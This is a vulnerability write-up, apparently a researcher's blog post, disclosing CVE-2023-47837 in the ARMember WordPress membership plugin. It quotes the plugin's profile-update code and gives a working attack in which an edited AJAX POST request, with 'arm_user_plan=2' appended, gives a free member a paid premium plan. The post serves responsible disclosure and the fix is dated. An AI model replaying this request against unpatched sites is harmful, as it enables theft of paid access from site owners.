CVE-2023–47837: ARMember <= 4.0.10 — Bypass Membership Plan

Revan A
5 min readNov 21, 2023

--

About Plugins

ARMember — Membership Plugin, Content Restriction, Member Levels, User Profile & User signup

Summary

Backend code of edit profile feature is vulnerable for Bypass Membership Plan attack. Attacker can manipulate request for getting premium “role” to their own account. How could that happen? read my explain below ^^

Vulnerable Code

  • Filename: wp-content/plugins/armember-membership/core/classes/class.arm_member_forms.php
  • Code:
function arm_shortcode_form_ajax_action(){
// Line 4930 - 4949
case 'edit_profile':
case 'update_profile':
if ( $is_hide_username == 1 ) {
$posted_data['hide_username'] = 1;
} else {
$posted_data['hide_username'] = 0;
}

$user_id = $this->arm_update_member_profile( $posted_data );

if ( is_numeric( $user_id ) && ! is_array( $user_id ) ) {

update_user_meta( $user_id, 'arm_form_id', $form_id );

$return['status'] = 'success';
$return['message'] = $success_message;
} else {
$all_errors = $arm_lite_errors->get_error_messages( 'arm_profile_error' );
}
break;
}

When the users edit their profile, the submitted data is processed on function arm_shortcode_form_ajax_action(). And then, this function will run other function, that function is arm_update_member_profile(). See the code below

  • Filename: wp-content/plugins/armember-membership/core/classes/class.arm_member_forms.php
  • Code:
function arm_update_member_profile( $posted_data = array() ) {
$update_data['display_name'] = $display_name;
global $arm_is_update_password_form_edit_profile_login, $arm_is_update_password_form_edit_profile_logout;

$arm_is_update_password_form_edit_profile_logout = 1;
$arm_is_update_password_form_edit_profile_login = 1;

$user_ID = wp_update_user( $update_data );
/* For updating username */
if ( is_wp_error( $user_ID ) ) {
/* There was an error, probably that user doesn't exist. */
$err_msg = isset( $arm_global_settings->common_message['arm_user_not_exist'] ) ? $arm_global_settings->common_message['arm_user_not_exist'] : '';
$err_msg = ( ! empty( $err_msg ) ) ? $err_msg : esc_html__( "User doesn't exist.", 'armember-membership' );
$arm_lite_errors->add( 'arm_profile_error', $err_msg );
return $arm_lite_errors;
}
$admin_save_flag = 0;
do_action( 'arm_member_update_meta', $user_ID, $posted_data, $admin_save_flag );
}

See the code above. On this function, submitted data will processed to database. And then, the code run do_action( ‘arm_member_update_meta’, $user_ID, $posted_data, $admin_save_flag ) . But it’s not secure, because action ‘arm_member_update_meta’ will call function arm_member_update_meta_details().

  • Filename: wp-content/plugins/armember-membership/core/classes/class.arm_member_forms.php
  • Code:
function arm_member_update_meta_details(  $user_ID, $posted_data = array(), $admin_save_flag = 0 ) {
// Line 5794 - 5857
foreach ( $posted_data as $key => $val ) {
if ( $key == 'first_name' || $key == 'last_name' ) {
$val = trim( sanitize_text_field( $val ) );
} elseif ( $key == 'role' || $key == 'roles' ) {
$all_plan_roles = $arm_subscription_plans->arm_get_plan_role_by_id($old_plan_ids);
if (!empty($all_plan_roles) && is_array($all_plan_roles)) {
foreach ($all_plan_roles as $key => $value) {
$plan_role = $value['arm_subscription_plan_role'];
if (!empty($plan_role)) {
$user->remove_role($plan_role);
}
}
}
if (isset($val) && is_array($val) && !empty($val)) {
$count = 0;
foreach ($val as $v) {
if ($count == 0) {
$user->set_role($v);
} else {
$user->add_role($v);
}
$count++;
}
} else {
$user->set_role($val);
}
} elseif ( $key == 'arm_user_plan' ) {
$primary_status = arm_get_member_status( $user_ID );

$new_plan = sanitize_text_field( $val );
if ( ! empty( $new_plan ) ) {
$planObj = new ARM_Plan_Lite( $new_plan );
if ( ! in_array( $new_plan, $old_plan_ids ) ) {

/* Update Last Subscriptions Log Detail */
$user->add_cap( 'armember_access_plan_' . $new_plan );

do_action( 'arm_before_update_user_subscription', $user_ID, $new_plan );
$user->remove_cap( 'armember_access_plan_' . $old_plan );
delete_user_meta( $user_ID, 'arm_user_plan_' . $old_plan );
if ( $payment_gateway != 'bank_transfer' ) {
update_user_meta( $user_ID, 'arm_user_plan_ids', array( $new_plan ) );
update_user_meta( $user_ID, 'arm_user_last_plan', $new_plan );
if ( $start_time <= strtotime( current_time( 'mysql' ) ) ) {

if ( ! empty( $planObj->plan_role ) ) {
$user->set_role( $planObj->plan_role );
}
}
}

if ( $payment_gateway != 'bank_transfer' ) {
$arm_subscription_plans->arm_add_membership_history( $user_ID, $new_plan, 'new_subscription' );
}
if ( $action == 'update_member' || $action == 'add_member' ) {
$arm_members_class->arm_manual_update_user_data( $user_ID, $new_plan, $posted_data, $plan_cycle );
}
} else {
if ( $payment_gateway != 'bank_transfer' ) {
update_user_meta( $user_ID, 'arm_user_plan_ids', array_values( $old_plan_ids ) );

}
}
}

update_user_meta( $user_ID, $key, $val );
}
}

Why the code above is not secure? are you interested with “arm_user_plan” ? right, the code will check the “arm_user_plan” key from submitted data. Then, attacker can manipulate the request to get “Membership Plan” without paying to Owner.

Attack Scenario

  1. Login as admin and setup premium plan (premium plan ID is 2)

2. Login as Member with “Free Membership Plan”

3. Go to edit profile page.

4. Submit and manipulate the request

Original Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 391
Origin: https://example.com
Referer: https://example.com/edit_profile/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

action=arm_shortcode_form_ajax_action&form_random_key=[RANDOM_KEY]&_wpnonce=[NONCE]&first_name=[FIRST_NAME]&last_name=[LAST_NAME]&user_email=[EMAIL]&user_pass=&arm_action=edit_profile&isAdmin=0&arm_parent_form_id=101&arm_success_message=Your+profile+has+been+updated+successfully.&id=[ID]&form_filter_kp=1&form_filter_st=[TIMESTAMP]&arm_nonce_check=[NONCE]&[randomstring]=

Edited Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 391
Origin: https://example.com
Referer: https://example.com/edit_profile/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

action=arm_shortcode_form_ajax_action&form_random_key=[RANDOM_KEY]&_wpnonce=[NONCE]&first_name=[FIRST_NAME]&last_name=[LAST_NAME]&user_email=[EMAIL]&user_pass=&arm_action=edit_profile&isAdmin=0&arm_parent_form_id=101&arm_success_message=Your+profile+has+been+updated+successfully.&id=[ID]&form_filter_kp=1&form_filter_st=[TIMESTAMP]&arm_nonce_check=[NONCE]&[randomstring]=&arm_user_plan=2

5. Done. Now we have premium plan

Timeline

  • 19 August, 2023: Reported to Patchstack
  • 31 August, 2023: Vulnerability Fixed
  • 16 November, 2023: Publicly Disclosed

Support

--

--

Revan A
Revan A

Written by Revan A

IT Security Analyst | Red Team | Security Researcher

No responses yet